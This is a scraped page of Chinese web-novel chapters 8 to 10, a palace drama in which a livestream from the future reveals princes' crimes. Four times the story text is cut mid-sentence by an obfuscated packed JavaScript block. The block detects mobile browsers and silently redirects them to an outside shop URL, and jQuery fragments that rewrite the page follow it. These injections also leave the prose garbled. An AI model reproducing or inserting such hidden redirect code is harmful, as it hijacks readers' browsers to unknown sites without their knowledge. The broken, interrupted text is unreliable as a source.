“而正当朝臣们对靖武帝这个举措感到不解和疑惑时,靖武帝在靖厉帝上朝以后,直接抽出一个御前侍卫身上的佩刀,然后一刀捅死了靖厉帝,动作极其干净利落。” “根据史官记载,满朝文武大臣当时都震惊错愕到了极点。” “所有人都没料到,靖武帝会用这样简单粗暴的方式,一劳永逸地解决掉靖厉帝这个危机。” 天幕上,直播间里的网友们显然对这事很是激动,弹幕一时间接连不断: 【虽然早就已经了解过这事,但再听三柒说一遍,还是觉得好爽啊!】 【不愧是拥有莽皇称号的靖武帝,办事就是霹雳手段、果断干脆!】 【照我说呀,咱们靖武帝还是太心善了,像是靖厉帝这样罪大恶极的昏君,就应该把他给千刀万剐才对!】 【千刀万剐都不解恨!他害死了多少人啊!还好靖武帝直接把他给咔嚓了,没有让他再继续享受荣华富贵的生活,不然那些因为他而枉死的人,真是九泉之下都难以安息!】 【靖武帝干得可太棒了!!小迷妹疯狂为我靖武帝大大打CALL!!】 …… “靖武帝在一刀捅死靖厉帝之后,就直接向朝臣宣布,说自己刚刚击杀了一个纳桀人派过来的奸细。” “靖武帝告诉大家,自己对靖厉帝很熟悉,就算靖厉帝烧成了灰,自己也肯定能认得出来他的身影。而大家眼前的这个‘靖厉帝’,其实是纳桀部落特意安排的冒牌货,所以不杀不足以解恨。至于真正的靖厉帝,肯定早就已经死在了纳桀人的手中,如今尸骨都不知道被丢在了哪里。” “不得不说,三柒我有时候感觉咱们的靖武帝,说话做事确实是有那么点恶趣味在身上的。” “靖武帝和朝臣们心里都门儿清,知道被靖武帝杀死的那个靖厉帝,其实就是正主。但在靖武帝宣布对靖厉帝的身份进行打假反诈以后,就算是有不认同靖武帝说法的人,也根本没法反驳靖武帝,因为靖厉帝他人都已经凉了,再吵这个真假也没意义了。” “而原本还想看大靖笑话的纳桀人,在得知靖武帝竟然釜底抽薪,直接一刀干掉了靖厉帝,自然是气得不行,觉得自己白白浪费掉了靖厉帝这么一个重要的筹码,甚至还反而帮靖武帝加强了对朝堂的掌控力!” 天幕下,皇宫里,殷睿早在刚才听到自己被靖武帝给一刀毙命时,脸就已经气得一阵青一阵白。 所以,当他眼角余光注意到自己的王妃刘静雅虽然低着头,但嘴角却在微微上扬时,他顿时更是怒到了极点,直接对着刘静雅破口大骂道: “你这个毒妇!你在笑什么?!你以为我猜不到吗?肯定是你这个毒妇在暗中指使,才害得我儿子背上了弑父这么个千古罪名!” 在殷睿看来,天幕上提及的靖武帝,肯定就是他的血脉之一。 而他如今有四个儿子,若是从年龄、性格和能力来看的话,其中尤以刘静雅生的大儿子最有可能。 刘静雅也没有想到,自己刚才情不自禁的那一点笑意,竟然会被殷睿给捕捉到。 不过,对于此刻气得暴跳如雷的殷睿,刘静雅心中却是丝毫不慌。 注意到连靖明帝此刻也看向了自己,刘静雅面上表情装作无辜的模样,声音不解地朝殷睿说道: “殿下,您是不是看错了,臣妾刚才并没有笑。” “呵!我明明都看得一清二楚,你还在这给我嘴硬?!”殷睿一脸憎恨地瞪着刘静雅,他此刻将心中一直积压着的怒火都迁移到了刘静雅的身上,“你这个贱婢,你别以为我不知道,比起当我的皇后,你更心心念念当你儿子的太后!” 刘静雅闻言,立刻红了眼眶,她急忙低下头用丝帕擦拭起自己的眼睛,看起来一副很是委屈心酸的模样。 许皇后虽然心中知道刘静雅未必真有看上去那么无辜,可她也不觉得刘静雅想当太后的想法有什么错。 因为,如果让她来选的话,她肯定也是宁愿选当太后,而并非皇后。 不过,虽然心中理解刘静雅,但许皇后却并未打算插手他们夫妻之间的争吵。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17491284|202241||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>毕竟,就算刘静雅和殷睿口中也得称她一声母后,可她又和他们夫妻没有真正的血缘关系。 她如今在这皇宫中,真正在意和放不下的人,也就只剩下殷宁这个女儿了。 许皇后选择作壁上观,但靖明帝却是没法再放任殷睿继续丢人现眼,辱没皇家的名声。 他望向太监总管袁文,咬牙切齿地说道:“去给朕把他的嘴巴给堵上!朕不想再听到他的半点声音!” 袁文知道靖明帝此刻已经是怒得不行,急忙带上两个小太监,过去将殷睿的嘴巴用一块布料给塞住。 殷睿被靖明帝当着众人的面,实施如此惩罚,一时间自然更是羞愤到了极点。 天幕上,柳三柒此刻嘴角挂着一个戏谑的笑容: “说起来,这靖明帝要是泉下有知的话,真应该好好感谢下咱们靖武帝!” “这要是没有咱们靖武帝当机立断,直接就将靖厉帝给解决了,那靖厉帝还不知道得闹出多少笑话来呢!” “不过,话又说回来,我还真有点好奇,如果靖明帝在九泉之下,知道自己选中的这个继任者,竟然是这样一个废物昏君,会不会气得狠扇自己几巴掌,觉得自己可真是有眼无珠啊?” “好了,今天三柒的直播,就到这里结束啦!宝子们,咱们下次直播再见,不见不散!” 随着柳三柒在天幕上的消失,天幕也慢慢变淡,消失在了众人的视线中。 不过,皇宫中,因为柳三柒刚才对靖明帝有眼无珠的评价,此刻现场气氛俨然是有些尴尬。 最终,还是靖明帝自己出声打破了沉默:“选了如此不堪的继任者,朕确实是无颜面对列祖列宗!好在,上苍庇佑,让柳三柒姑娘特意来为我们大靖预警,可见我们大靖朝还是得天独厚、国祚隆昌!” 听到靖明帝将事情如此定调,一众大臣们自然是纷纷出声向靖明帝贺喜。 而靖明帝此刻着实是没心思听那些奉承他的话,所以,没过一会儿后,他就让朝臣们都离宫回家去了。 不过,大家在离开之前,却都注意到了一个细节,虽然殷睿被靖明帝下令关进天牢,但靖明帝却将殷睿膝下的那四个儿子都留在了宫中,让他们接下来在宫中住上一段时间。 靖明帝的这个信号不难猜,显然,他认为天幕上所提及的那位靖武帝,应该就是殷睿这四个儿子中的其中一个。 不少聪明人忍不住就在心中盘算了起来,思考自己是不是得提前接触一下那四位皇孙的母家,免得错过这难得的从龙之功。 8. 第 8 章 BY:晋江·丸二缘 坤宁宫中,殷宁一进到屋内,就立刻脱了鞋,舒适地半躺到了榻上。 许皇后看到她那慵懒的模样,忍不住念叨道:“瞧你这懒猫样,真是打小到现在都变不了!” “既然知道我改不了,那母后你怎么还老是要费这嘴皮子?”殷宁笑嘻嘻地朝许皇后道。 许皇后见她还敢回嘴,忍不住嗔怒地用手点了点殷宁的额头,“你这牙尖嘴利的丫头,就不能少说几句话是吧?” 殷宁闻言,直接朝许皇后甜甜一笑。 许皇后看到她朝自己卖乖,有心想板起脸不吃这招,但心又忍不住软和了下来,于是最终噗嗤一声也跟着笑了起来。 “云嬷嬷,叫人去把这丫头初夏时做的那蜜渍荔枝拿过来,正好堵住这丫头的嘴。” 因为太子的病逝,坤宁宫这几天的气氛都很是低沉。眼下,看到许皇后因为殷宁而心情好转不少,陪伴在许皇后身边多年的云嬷嬷,自然是立刻笑着应声称是。 许皇后口中的蜜渍荔枝,是殷宁今年初夏那会吃荔枝时,想到前世刷到过的一个乡村美食视频,于是心血来潮,就也仿照着那视频里的步骤,将剥好的荔枝果肉放进蜂蜜中浸渍,再密封进坛中,最后将坛子放到阴凉地窖里。 殷宁当时告诉许皇后,说这蜜渍荔枝可以放到冬天再取出食用。 可许皇后不了解这事,她怕殷宁会吃坏肚子,于是还特意找来太医询问,等从太医口中确认过确实有这样子的蜜饯做法后,她这才放心了下来。 云嬷嬷很快就带人把殷宁做的那一小坛蜜渍荔枝拿了过来。 冬日难得能吃到新鲜水果,再加上又是殷宁向来喜欢的荔枝,于是,一看到云嬷嬷带着坛子出现,殷宁立刻就从榻上坐了起来。 从坛子中取出来的荔枝,果肉依然似琥珀般透亮,殷宁轻轻咬了一口莹润的果肉,瞬间就感受到了已经沁入其中的清新蜜香味。 确认过自己这蜜渍荔枝做得很是成功后,殷宁就给许皇后、云嬷嬷以及其他宫女等人都分发了一颗。 云嬷嬷和宫女们早就习惯殷宁这般分食的行事风格,在朝殷宁道谢后,大家也跟着开始品尝起这冬日难得能尝到的清甜果味。 “真是歹竹出好笋!”殷宁坐回到榻上后,突然笑着朝坐在她对面的许皇后说了这么一句话。 许皇后将荔枝核吐到盘中,拿起丝帕轻轻擦了下嘴后,才开口道: “也是幸好有靖武帝这株好笋,不然大靖真是得被殷睿那个混账给搞崩不可!” 许皇后看向殷宁,“现在明眼人都看得出来,你父皇应该是想直接将那位靖武帝培养成自己的接班人。这对咱们母女倒是好事一件,毕竟,按照天幕上展现出来的那位靖武帝性格,他之后若是登基,应该不至于会为难咱们母女二人。” 殷宁赞同地点了点头,原先天幕还没出现时,她脑海中甚至都已经做好了最差的预期,想着如果真到万不得已的时候,那她就带着她母后离开大靖,坐船出海,去当个岛上的土皇帝。 但按照现在这形势,似乎是不需要动用上她的秘密基地了。 殷宁和许皇后对于靖武帝可能是殷睿子嗣这件事,都并没有太大的抗拒。 但是,对于三皇子等其他对皇位有野心的人,他们自然是无法接受这个可能性。 所以,三皇子在回到府中后,立刻就火急火燎地召来了自己的一帮幕僚们。 原先,除太子之外,以才学而出名的三皇子,也是夺嫡斗争中的热门选手。 所以,投靠在他底下的幕僚,自然也不乏有心思机敏之人。 注意到三皇子殷文此刻的眉眼间尽是郁色,幕僚之中一位体型宽胖的中年男人,突然清了清嗓子,朝殷文开口道: “殿下,依属下之意,虽然圣上将四位皇孙留在了皇宫之中,但这却并不代表着殿下您就已经彻底落败。” 在中年男人开口之前,其他幕僚都是一副天要塌了、船要沉了的惶然模样,所以中年男人这话一出,瞬间就吸引来了殷文的注意力。 殷文目光灼灼地望着中年男人,眼神中带着隐隐的期待:“柳先生,您刚才那话是什么意思?” 中年男人:“敢问殿下,刚才那天幕上的女子提及靖武帝诛杀二皇子时,可有提过‘弑父’这两个字?” 殷文早在刚才从宫中回到府邸的路上,就已经回忆过好几遍柳三柒在天幕上说过的话。 他当即摇了摇头,语气肯定地说道:“不曾提过!” 中年男人听到殷文这回答后,嘴角微微往上扬起:“是的,而且那女子从头到尾,也并未告诉我们,二皇子与那位靖武帝是父子关系。所以,那位靖武帝实际可能并非二皇子的子嗣,而是二皇子的兄弟!” 殷文听到中年男人这分析,原本郁闷沮丧的心情,骤然间提振了不少。 虽然他也明白,柳三柒不提,可能是因为默认大家都知道殷睿和靖武帝是父子关系,所以她没必要再多此一举特意强调这件事。 但是,中年男人提出的这个可能性,还是让殷文心中产生了一抹期盼。 从年少时,殷文就对皇位虎视眈眈,所以让殷文如今就这样放弃,殷文实在是不甘心。 所以,尽管并不确定中年男人的这个猜测是否属实,但殷文在思考过一番后,直接朝下属吩咐道,让下属们暗中将中年男人的这一番分析散布到外面去。 既然眼下时局已经暗流涌动,殷文决定将这一谭子水,搅得更加紊乱复杂。 这样一来,他说不定反而能找到更多的机会。 而在稍后送走幕僚们以后,殷文又再找来了一个心腹,低声交代了他另一件事。 接下来的数日时间,京师看着似乎平静无波,但私下里却是热闹非凡。 皇宫中,御花园,湖心亭。 今日是难得的冬日晴天,殷宁此时正和老师施清媛坐在亭中下棋。 不过,正当棋局进行到一半时,殷宁的贴身婢女白菊进到了亭中。 殷宁知道白菊刚才是去拿消息,看到她回来后,便朝她直接问道:“宫外发生什么事了?” 虽然施清媛此刻也在场,但白菊知道殷宁向来对施清媛这个老师信任有加,甚至可以说是将施清媛当作军师来对待。 于是,白菊直接朝殷宁回道:“公主,圣上刚才让人给程善御史家还有那位国子监司业翁大人家各送去了一份赏赐,不过负责送礼的陈公公全程都很低调,似乎是不想让太多人关注到这件事。” 湖心亭这边四面环水,视野很是开阔,一目了然,因此殷宁在这反倒是没有被人窃听的顾虑。 殷宁看向坐在她对面的施清媛,开口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17491285|202241||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说道:“这倒是符合我父皇的行事作风,虽然没有明说,但这赏赐实际上也算是有替殷睿那个人渣赔罪的意思。不过,若是让他大张旗鼓地赏赐,他就是绝对低不下这头来的。” 面对殷宁关于靖明帝的这番评价,施清媛轻轻笑了笑:“子不教,父之过。圣上那么要面子的性格,现在估计是恨不得大家都能忘记柳三柒小姐在天幕上说的那些二皇子丑闻。” 殷宁对此很是赞同地点了点头。 “公主,宫外还传来了另外一个消息,说是太子府那个妾室昨晚因为意外失足落水,溺死在了湖中,尸体在湖里漂了一晚上,今早才被经过的太监给发现。” 听到白菊这番话,殷宁和施清媛原本还算放松的神情,瞬间就都变得严肃了起来。 她们都知道白菊口中的那个太子府妾室,正是亲自动手毒死太子的那个人。 原先,她们还打算通过这个妾室,查出这幕后的真正指使者。 现在那个妾室直接用她的溺亡,将答案告诉给了殷宁她们知道。 殷宁冷笑了一声:“真是咬人的狗不叫,我那三哥看来还真是处心积虑想登基呢!” 殷宁原先已经将怀疑对象排除到只剩二皇子和三皇子,但如今殷睿这个二皇子已经锒铛入狱,没能力也没必要再对那妾室动手。 所以,会对那妾室实施灭口的人,自然也就只有三皇子这个真正的凶手了。 施清媛望向殷宁,说道:“最近外面突然流传开一个消息,说靖武帝未必是皇孙,也可能是其他皇子之中的某位。” 殷宁忍不住厌恶地冷哼了一声:“全都是祸害,让他们这群家伙都去打个你死我活好了!” “给我打死他!打死他!” 骤然听到这喧哗声,殷宁和施清媛都朝声音传来的方向望去。 只见不远处的湖边,四个锦衣少年正带着一群随行的太监,而其中一个年纪稍小、看上去只有十岁左右的男孩,正满脸激动地朝其他太监呼喊着,让那群太监围着踢打一个小太监。 殷宁看到这一幕后,瞬间就忍不住站起身,裙摆飞扬地大跨步走出亭子,朝湖边走去。 “给我住手!” 听到殷宁这声厉喝,四个锦衣少年及太监们,纷纷转头望了过来。 当看到是殷宁以后,太监们急忙低下头,而那四个锦衣少年,尤其是那个刚才一口一个喊着要打死人的男孩,脸上神情瞬间变得多了几分紧张。 等到殷宁走到他们面前时,四个锦衣少年更是齐声朝殷宁问候了一声。 殷宁并没有被他们礼貌端庄的态度给欺骗,她怒目瞪向那个刚才让打人的男孩殷杰,然而,还没等她开口询问,殷杰就已经急着给自己喊冤: “小姑姑,这不是我的错!我不是无缘无故才打他!我的风筝刚才掉湖里了,我让他下去帮我给拿回来,谁知道这个狗奴才居然敢抗命不从!你说,我是不是很应该让人教训他?!” 因为殷宁是靖明帝最小的女儿,所以殷睿的这四个儿子都是直接称她为小姑姑。 而殷宁此刻听完殷杰的话后,心中怒火更是瞬间往上蹭蹭直冒。 为了一个破风筝,就要把人往死里打? 即使殷宁已经在这古代世界生活了将近十八年的时光,但对于殷杰这样视人命如草芥的行为,殷宁始终还是无法接受。 9. 第 9 章 BY:晋江·丸二缘 殷宁看了一眼那个已经被人打得鼻青脸肿、嘴角流血的小太监。 他的年纪看起来其实和殷杰差不多,也是大概十岁的稚气模样,但眼神却是明显比神气活现的殷杰黯淡了不少。 殷宁走到他的面前,拿出手帕替他轻轻擦拭了一下嘴角的鲜血,他瞬间惊得抬眸看向殷宁,像是一只受惊的小兔子,眼神中充满着惊诧和不安。 殷宁抬手轻揉了一下他的头,温声朝他问道:“殷杰刚才说你抗命不从,你能跟我说下这事情是怎么一回事吗?” “……我、我不会游水,我怕下去的话,我会沉下去。” 小太监声音越说越小,甚至在说完以后,忍不住瑟缩地低下了头。 而殷宁在听完他的解释以后,却是忍不住在心中叹息了一声。 她转头看向殷杰,“他有没有和你解释过他不会游水的事情?” 殷杰低下头,抠着手指不说话了,他的态度很明显,显然小太监说过了,但他不当回事,只觉得既然他有需要,那小太监就算死也必须满足他。 看到殷宁脸上明显浮现出几分怒色,殷晨这时突然开口朝殷宁说道: “小姑姑,对不起,都是我这个当大哥的,刚才没管好弟弟。四弟他往日被徐侧妃给宠坏了,所以脾气有点骄纵,我待会就让人给这个小太监上药。” 看到殷晨此刻摆出一副懂事大哥的模样,殷宁心中只觉得一阵反感。 刚才殷杰让人打小太监时,殷晨站在一边,也没见他出来阻止,结果现在反倒是跳出来装好人了。 殷宁以前和这四个侄子并没有太多接触,可是,在经过刚才的事情后,她心中不禁产生怀疑,靖武帝真的就是这四人之中的其中一位吗? 殷宁行动力很快,她当即就在脑中联系她绑定的那个宫斗系统007,用意识朝007说道: 【007,帮我检测殷晨和殷杰他们四个人的攻略价值】 【好的,宿主,总共需要耗费40积分,请问您确认消费吗?】 【确认!】 系统007的声音充满着冰冷的机械感: 【经过检测,殷晨的攻略价值为45分,评价是不值一提,其余三人的攻略价值为30分,评价是无足轻重】 殷宁之前都是用系统这个检测攻略对象价值的功能,来判断一个人的潜能天赋。 眼下听到007的检测结果后,她心中当即就明白,靖武帝和面前这四个人没有半毛钱关系。 “不用你给他上药了!”殷宁看向殷晨说道,“这个小太监我要了,以后就跟在我身边伺候!” 听到殷宁这话,殷晨立刻笑着点头,表示说没问题,但是殷杰脸上却是流露出些忿忿不平的神色,显然对此颇有意见。 殷宁也不惯着他,直接就朝他说道:“我父皇都尚且没有对太监、宫女们喊打喊杀,以后要是让我知道你再做出像刚才那样的事情来,我就直接把你拎到我父皇面前,让他给你一个永生难忘的教训!” 殷杰听到殷宁这番威胁,脸上表情这才多了几分惧意。 因为经过这几天在宫中的生活,他其实能够明显感受得到,靖明帝事实上对他大哥殷晨更加重视,对他的态度则是可有可无。而且,他之前在家时,也没少听他母妃说殷宁是靖明帝最偏疼的小女儿。 “小姑姑,我知道了,我以后再也不敢了!”殷杰唯唯诺诺地向殷宁作保证道。 殷宁看到他这欺软怕硬的反应,直接冷哼了一声。 在殷宁看来,什么“小孩还小,不懂事”这种说法,都是狗屁不通的谎言。 如果殷杰不懂事的话,那他就不会在她搬出靖明帝以后,开始知道害怕了。 不过,殷宁如今也懒得再搭理殷杰他们兄弟四人,她直接叫上那个小太监,然后就带着人回到了她居住的瑞和殿。 因为白菊学过医术,殷宁殿中的宫女、太监有个什么头疼脑热,都是找她帮忙处理。 所以,在回到瑞和殿后,殷宁就让白菊给那个被打的小太监检查下伤势,看需不需要喊太医过来。 好在,白菊检查过后,发现那小太监虽然看起来被打得很是严重,但都是些皮外伤,只要擦下药,之后过段时间就能恢复好全。 殷宁一听,也忍不住替他感到开心,她望向那小太监,温声问道: “你叫什么名字,有什么擅长或者想要做的工作吗?” 似乎是因为终于放松了下来,小太监干瘦的小脸上这时也出现了些许笑意,他有些害羞地低声说道: “回禀殿下,奴才名叫小顺子,我不太会哄主子开心,但我做饭还算可以,和我住一起的其他人之前每次想要开小灶时,都会让我帮他们下厨。” 殷宁听到他这么说,不由对他的话产生了好奇心,于是,殷宁让自己的007系统顺便检测下小顺子的攻略价值。 系统给出来的检测结果很是出乎殷宁的预料,小顺子的攻略价值竟然高达83分。 这个分数在殷宁过往的检测结果中,已经算是排得上不错的水平了。 于是,殷宁看向小顺子,笑着朝他说道:“那你以后就去我的小厨房,帮忙给花嬷嬷打下手吧,顺带跟着她学怎么做饭。” 花嬷嬷是殷宁这边小厨房的大厨,厨艺格外厉害,而且为人也比较和善。 殷宁感觉,若是小顺子的技能天赋真是点在厨艺这方面的话,那花嬷嬷说不定能帮她培养出个神厨小顺子。 而小顺子听到殷宁这个安排后,立刻格外欣喜地点头称是,甚至激动到眼角都涌出了几分湿润。 他刚才被人按在湖边的地上教训时,还以为自己今天可能会就这样被活活打死,根本没想到事情会如此峰回路转。 宫中人人都知道,殷宁的瑞和殿是出了名的福地,殷宁不仅出手大方,经常舍得打赏宫女、太监们,而且对大家的态度向来也很温和,不会动辄就是打骂。更为关键的是,在宫中能掌握一门手艺是很吃香的事情,特别是厨艺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17491286|202241||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这类技能,更能帮助自己过上不错的日子。 白菊作为殷宁身边的掌事大宫女,她很快就带着小顺子下去安置。 而在他们离开以后,殷宁看向老师施清媛,说道:“老师,在你看来,我那四个侄子怎么样?” “朽木难雕,不堪大用。” 施清媛刚才一直在观察殷晨他们兄弟四人,但越看却是越发失望,觉得他们四人都并非是那位被后世人称为传奇圣君的靖武帝。 殷宁听到施清媛对殷晨四人如此辛辣的评价后,则是忍不住噗嗤一声笑了出来。 她直接朝施清媛竖起了大拇指,夸赞说道:“老师的识人功夫,依然还是一绝!” 施清媛神色从容:“看来外面最近流传的那个消息,反而可能言中了真相。弟夺兄位,也难怪会有人认为靖武帝得位不正。” 殷宁很是无所谓地磕了个瓜子,“管他正不正呢,反正靖武帝能管好这个国家,那就没毛病了!” 施清媛对于殷宁这个观点,也赞同地轻点了下头。 她们师徒俩之所以能凑到一起,主要就是因为脾性相合,俩人都不在意那些所谓的礼教虚名,言行举止颇为随心。 而且,对于靖武帝是谁这件事,殷宁事实上也并没有那么急着想知道。 不然的话,她也不会在这几天都没去接触殷晨他们兄弟四人,直到刚刚才因为机缘巧合和他们打了下交道。 虽然天幕现在已经消失,但殷宁心中有很强烈的预感,柳三柒接下来应该还会继续出现在天幕上直播,所以靖武帝的身份迟早是会水落石出。 殷宁此刻心中更在意的,是那个太子府妾室溺亡的事情。 之前,殷宁还想着借助这个妾室,来查出谋害她那位太子大哥的真凶到底是谁。 可如今,她虽然已经确定下来了真凶的身份,但这个最为关键的妾室,却又被凶手给灭了口。 而且,光是她目前手头上掌握的那些线索,根本就不足以将三皇子这个真凶给彻底定罪。 因着妾室的突然溺亡,殷宁原本以为自己可能得再让人追查一段时间,看能不能抓到三皇子的马脚。 可是,翌日柳三柒在天幕上的直播,直接就帮殷宁省了好一番功夫。 天幕再次出现时,恰好赶上早朝散朝。 靖明帝直接带着朝臣们走出金銮殿,站在汉白玉雕砌而成的莹白石阶上。 “宝子们,三柒我回来啦!这一期的直播,依然还是和大靖朝相关的主题!” “虽然大家经常吐槽靖明帝选继承人的眼光不行,就连三柒我在上一次的直播尾声时,也调侃过靖明帝有眼无珠,但三柒我也真得替靖明帝喊一句冤,巧妇难为无米之炊,他其实也没有太多选择。” “他原本立的太子被他三儿子给直接毒死了,三儿子之后甚至还想起兵造反,他难道能留着这个儿子过年吗?” 柳三柒说话的语气很是云淡风轻,但三皇子膝盖“扑通”一下跪在地上的声音,却是格外响亮。 10. 第 10 章 BY:晋江·丸二缘 无论是毒杀太子,还是起兵造反,柳三柒说的每一件事,都惊得天幕下的众人目瞪口呆。 大家根本没有想到,往日里看起来温文尔雅的三皇子殷文,竟然会干出这么一桩桩耸人听闻的事件来。 皇宫里,金銮殿外,此刻现场安静到只剩下殷文哭着不断向靖明帝磕头谢罪的声音。 靖明帝看着殷文那痛哭流涕、好似悔不当初的模样,他怒极反笑,咬牙切齿地开口道: “好啊,朕真是养出了两个好儿子!一个个都是出息得很!” 殷文听到靖明帝这显然已经是怒到了极点的冰冷声音,心中一时间更是焦急惊惶得像是热锅上的蚂蚁,但又不知道该如何应对才好! 上一次柳三柒在天幕上直播时,他还在心里对殷睿幸灾乐祸得不行,甚至巴不得柳三柒再多说些关于殷睿的丑闻。 可如今风水轮流转,当柳三柒开始在天幕上提及他,他却是恨不得天幕从头到尾都没出现过。 而后宫里,殷宁此刻正和许皇后以及老师施清媛,坐在坤宁宫里窗边的榻上。 殷宁和施清媛早就猜到三皇子是杀害太子的幕后真凶,但许皇后之前却是半点都不知情。 殷宁之所以没有告诉她,主要是因为觉得自己手上没有确凿的证据,就算告诉给许皇后知道,也不过是平白多了一个为此事而烦心的人。 而且,郁怒伤身,许皇后这几日的情绪明显比先前平复了不少,殷宁就想着等自己之后把这事弄出个结果来,再让许皇后知道也不迟。 可是,人算不如天算,柳三柒的再次直播,不仅免了殷宁之后的追查功夫,同时也让许皇后知道了杀害太子的凶手到底是谁。 就算太子生前和许皇后的关系并不是很亲近,可他到底也是许皇后怀胎十月辛苦生下来的孩子。 许皇后怎么可能会对这个儿子没有感情?! 所以,在得知殷文就是杀害自己儿子的真凶后,许皇后刹那间对殷文真是又怒又恨,甚至恨不得可以将他给抽筋剥骨了! 等后面再听到柳三柒提起殷文起兵造反这事时,她更是激动到忍不住拍手称快,说真是苍天有眼、善恶有报! 许皇后虽说很少能够接触到朝堂上的事情,但她对于靖明帝这个相识多年的枕边人,却是了解颇深。 许皇后不认为靖明帝在得知殷文未来会起兵造反的消息后,还会放殷文这个儿子一条生路。 殷文如今已经和殷睿一样,变成了死日可待的将死之人! 一想到在不久的将来,殷文这个凶手也会跟着踏上黄泉路,许皇后这才感觉自己心中的郁气和恨意稍微消解了些许。 天幕上,柳三柒神情轻松地望向镜头: “相信很多宝子都知道,在古代当太子,那真不是件轻松的活儿!” “太子这个职位,简直就是高危职业中的高危,危险系数有时甚至比皇帝还大!” “所以,咱们今天首先就来说说殷文这个三皇子,是怎么弄死他的太子大哥殷霖!” “这事真要说起来,其实首先就得怪殷霖管不住自己的下半身,这才给殷文提供了下手的好机会!” “殷文他的计谋说起来,也并没有那么复杂,就是美人计而已!” “殷霖他生前最宠爱的那个妾室舒娴薇,其实就是殷文偷偷找人安排进太子府的奸细!” 天幕下,太子府。 当听到柳三柒提及舒娴薇这个名字时,太子妃江欣月先是愣神了一下,随后,她不禁冷笑了一声。 对于舒娴薇前天夜里的突然溺亡,她心中当然也感到了几分不对劲。 可她怎么都没想到,原来舒娴薇竟然会是三皇子殷文安插进太子府的奸细。 想到殷霖从前活在这世上时,在后院之中最为偏宠舒娴薇这个妾室,甚至连临死前,都是舒娴薇在他身边伺候服药,江欣月就不由觉得这一切可真是讽刺,甚至感觉殷霖其实死得并不冤枉。 江欣月这些年和太子这个夫君的关系一直很冷淡,一方面是因为她和太子结婚这么多年来,她只生下了一个女儿,另一方面则是因为她和后院其他妾室相比,那些妾室显然比她这个太子妃更加年轻貌美。 好比这两年一直获得殷霖青睐的舒娴薇,其年纪就足足比江欣月小了一半,今年也不过才19岁而已。 江欣月知道自己再怎么样和这些年轻妾室争宠,也根本不可能挽回殷霖的心,索性就把心思都放到了抚养女儿的事上面。 殷霖的死,让她感觉最烦恼的,就是影响到了女儿的婚事。 毕竟,她女儿今年虽然才13岁,但也已经是到了需要开始相看亲事的年纪。 从前,殷霖是太子,她女儿作为当朝太子的嫡女,自然是什么条件的家庭都挑得,可如今殷霖骤然去世,这自然就给她女儿的婚事带来了巨大的变化。 天幕上,柳三柒此时正在给大家详细介绍着太子死因的内幕: “在殷霖看来,舒娴薇这个妾室,是底下人为讨好他,而特意给他搜寻的绝色清丽孤女。” “但实际上,舒娴薇不仅并非孤女,甚至家中还有年迈双亲。而殷文正是通过拿舒娴薇双亲的性命做要挟,从而逼得舒娴薇帮他做事,主动潜伏到殷霖的身边。” “史书上只提及了殷文让舒娴薇下毒的事情,但却并未详细介绍,舒娴薇是如何下的毒。” “但三柒我在做这次直播之前,查找过不少资料,看到有个野史的说法,说是殷文手头上有一个很阴毒的药方,可以让人的身体器官在短时间内迅速衰竭,但看起来却像是因病而亡的模样。” “三柒我也不确定这个说法是否准确,但历史上的殷霖,其死因记载确实是暴病而亡。” “而毒杀太子这样攸关生死的秘密,像是殷文这样心思狠辣的人,自然是不可能信得过舒娴薇!” “于是,殷文便再次拿舒娴薇双亲的性命作为威胁,希望舒娴薇能识趣地自寻短见。” “舒娴薇的一生,都没有选择的机会,这一次面对殷文的逼迫,她也依然别无选择,只能在一个黑夜中,独自走进那冰冷深幽的湖泊中,结束了自己那年轻的生命。” 天幕下,许皇后原本对杀害自己儿子的舒娴薇很是憎恨,可如今,听着柳三柒关于舒娴薇的介绍,她忍不住抿紧了自己的唇瓣。 舒娴薇说到底,其实也只是殷文手中的一颗棋子,棋子的命运如何,并不由自己决定,而是由棋手在操控和摆布。 “母后,那个舒娴薇前天晚上就已经溺死了。” 听到殷宁这话,许皇后整个人当场错愕地看向殷宁。 原本,许皇后还在心中纠结,应该如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17491287|202241||http|test|mini|href|location''.split(''|''),0,{})); () { 